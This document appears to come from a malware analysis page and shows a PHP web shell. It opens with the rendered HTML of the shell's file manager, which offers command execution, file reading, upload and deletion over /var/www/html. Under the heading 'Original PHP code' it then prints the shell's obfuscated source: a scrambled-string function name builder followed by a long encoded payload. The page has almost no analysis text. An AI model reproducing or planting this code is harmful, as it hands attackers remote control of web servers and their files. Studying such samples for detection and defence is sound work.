<form name="files" method="post"></form><tbody><tr><th width="13px"><input type="checkbox" onclick="sa()" class="chkbx"></th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_name_0&quot;)">Name</a></th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_size_0&quot;)">Size</a></th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_modify_0&quot;)">Modify</a></th><th>Owner/Group</th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_perms_0&quot;)">Permissions</a></th><th>Actions</th></tr><tr><td><input type="checkbox" name="f[]" value=".." class="chkbx"></td><td><a href="#" onclick="g('FilesMan','/var/www/html/..');"><b>[ .. ]</b></a></td><td>dir</td><td>2023-02-12 16:27:21</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'..','chmod')"><font color="#FFDB5F"><b>drwxrwxrwx</b></font></a></td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'..', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'..', 'touch')">T</a></td></tr><tr class="l1"><td><input type="checkbox" name="f[]" value="beneri.se_malware_analysis" class="chkbx"></td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'view')">beneri.se_malware_analysis</a></td><td>0 B</td><td>2023-02-12 16:27:21</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis','chmod')"><font color="white"><b>-rw-r--r--</b></font></a></td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'touch')">T</a> <a class="tooltip" data-tooltip="Frame" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'frame')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'edit')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'download')">D</a></td></tr><tr><td><input type="checkbox" name="f[]" value="hek.pHtMl" class="chkbx"></td><td><a href="#" onclick="g('FilesTools',null,'hek.pHtMl', 'view')">hek.pHtMl</a></td><td>34.65 KB</td><td>2023-02-12 16:27:21</td><td>osboxes/osboxes</td><td><a href="#" onclick="g('FilesTools',null,'hek.pHtMl','chmod')"><font color="white"><b>-rw-rw-r--</b></font></a></td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'hek.pHtMl', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'hek.pHtMl', 'touch')">T</a> <a class="tooltip" data-tooltip="Frame" href="#" onclick="g('FilesTools',null,'hek.pHtMl', 'frame')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g('FilesTools',null,'hek.pHtMl', 'edit')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g('FilesTools',null,'hek.pHtMl', 'download')">D</a></td></tr><tr id="fak"><td colspan="7">
	<input type="hidden" name="ne" value="">
	<input type="hidden" name="a" value="FilesMan">
	<input type="hidden" name="c" value="/var/www/html/">
	<input type="hidden" name="charset" value="UTF-8">
	<label><select name="p1"><option value="copy">Copy</option><option value="move">Move</option><option value="delete">Delete</option><option value="tar">+ tar.gz</option></select></label><input type="submit" value="submit"></td></tr></tbody></table></div>
</div>
<table class="info main" id="toolsTbl" cellpadding="3" cellspacing="0">
	<tbody><tr>
		<td><form onsubmit="g(null,this.c.value,'');return false;"><span>Change dir:</span><br><input class="toolsInp" type="text" name="c" value="/var/www/html/"><input type="submit" value="submit"></form></td>
		<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type="text" name="f" required=""><input type="submit" value="submit"></form></td>
	</tr><tr>
		<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span> <font color="#FFDB5F">[ Writeable ]</font><br><input class="toolsInp" type="text" name="d" required=""><input type="submit" value="submit"></form></td>
		<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span> <font color="#FFDB5F">[ Writeable ]</font><br><input class="toolsInp" type="text" name="f" required=""><input type="submit" value="submit"></form></td>
	</tr><tr>
		<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type="text" name="c" value=""><input type="submit" value="submit"></form></td>
		<td><form method="post" enctype="multipart/form-data">
		<input type="hidden" name="a" value="FilesMan">
		<input type="hidden" name="c" value="/var/www/html/">
		<input type="hidden" name="p1" value="uploadFile">
		<input type="hidden" name="ne" value="">
		<input type="hidden" name="charset" value="UTF-8">
		<span>Upload file:</span> <font color="#FFDB5F">[ Writeable ]</font><br><input class="toolsInp" type="file" name="f[]" multiple=""><input type="submit" value="submit"></form><br></td>
	</tr></tbody></table></div>
	</body></html>

Original PHP code

<?php $MdRwlQi6788='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$MdRwlQi6788[(105/15)].$MdRwlQi6788[(26-1)].$MdRwlQi6788[(1*49)].$MdRwlQi6788[((10*1)+18)].$MdRwlQi6788[(14+22)].$MdRwlQi6788[(44+5)].$MdRwlQi6788[(44-13)].$MdRwlQi6788[(684/18)].$MdRwlQi6788[(23+4)].$MdRwlQi6788[(72-(33-7))].$MdRwlQi6788[(154/22)].$MdRwlQi6788[(11+25)].$MdRwlQi6788[(65-(62-31))].$MdRwlQi6788[(26-6)].$MdRwlQi6788[((27*2)-8)];$pHFdNhg9688=$MdRwlQi6788[(20-9)].$MdRwlQi6788[(2*4)].$MdRwlQi6788[(29*1)].$MdRwlQi6788[(160/4)];$MYtraky2482=$MdRwlQi6788[(8*5)].$MdRwlQi6788[((1+0)+2)].$MdRwlQi6788[(6+(1*(95/19)))].$MdRwlQi6788[(140/5)].$MdRwlQi6788[(522/18)].$MdRwlQi6788[(7*((7-3)-2))].$MdRwlQi6788[(2*14)].$MdRwlQi6788[(138/(2+4))].$MdRwlQi6788[(1029/(378/18))].$MdRwlQi6788[((2*189)/9)].$MdRwlQi6788[(12+(0+0))].$MdRwlQi6788[(31*1)].$MdRwlQi6788[(48/(36/12))].$MdRwlQi6788[(735/15)].$MdRwlQi6788[(0+7)].$MdRwlQi6788[(18+2)].$MdRwlQi6788[(18-(10/5))].$MdRwlQi6788[(735/15)].$MdRwlQi6788[(0+(2-(1*1)))].$MdRwlQi6788[(16-(3+(36/(0+18))))].$MdRwlQi6788[((167-23)/18)].$MdRwlQi6788[(0+(18-9))].$MdRwlQi6788[(1*3)].$MdRwlQi6788[(11*(1+(0/(78/13))))].$MdRwlQi6788[(2*7)].$MdRwlQi6788[(29*(0+1))].$MdRwlQi6788[(38-(8+9))].$MdRwlQi6788[(15*2)].$MdRwlQi6788[(45-11)].$MdRwlQi6788[(1*46)].$MdRwlQi6788[(1*(17+21))].$MdRwlQi6788[(78/3)].$MdRwlQi6788[(21+(77/11))].$MdRwlQi6788[(22+14)].$MdRwlQi6788[(343/(91/13))].$MdRwlQi6788[(1*1)].$MdRwlQi6788[(21-10)].$MdRwlQi6788[(22+(12/2))].$MdRwlQi6788[(180/20)].$MdRwlQi6788[(3+((0+0)*1))].$MdRwlQi6788[(686/(126/9))].$MdRwlQi6788[(61-(32-8))].$MdRwlQi6788[(476/17)].$MdRwlQi6788[((4-0)+22)].$MdRwlQi6788[(((23-(2*5))/13)-0)].$MdRwlQi6788[(7+(84/21))].$MdRwlQi6788[(28/2)].$MdRwlQi6788[(9-0)].$MdRwlQi6788[(3*1)];$UrR1094= "'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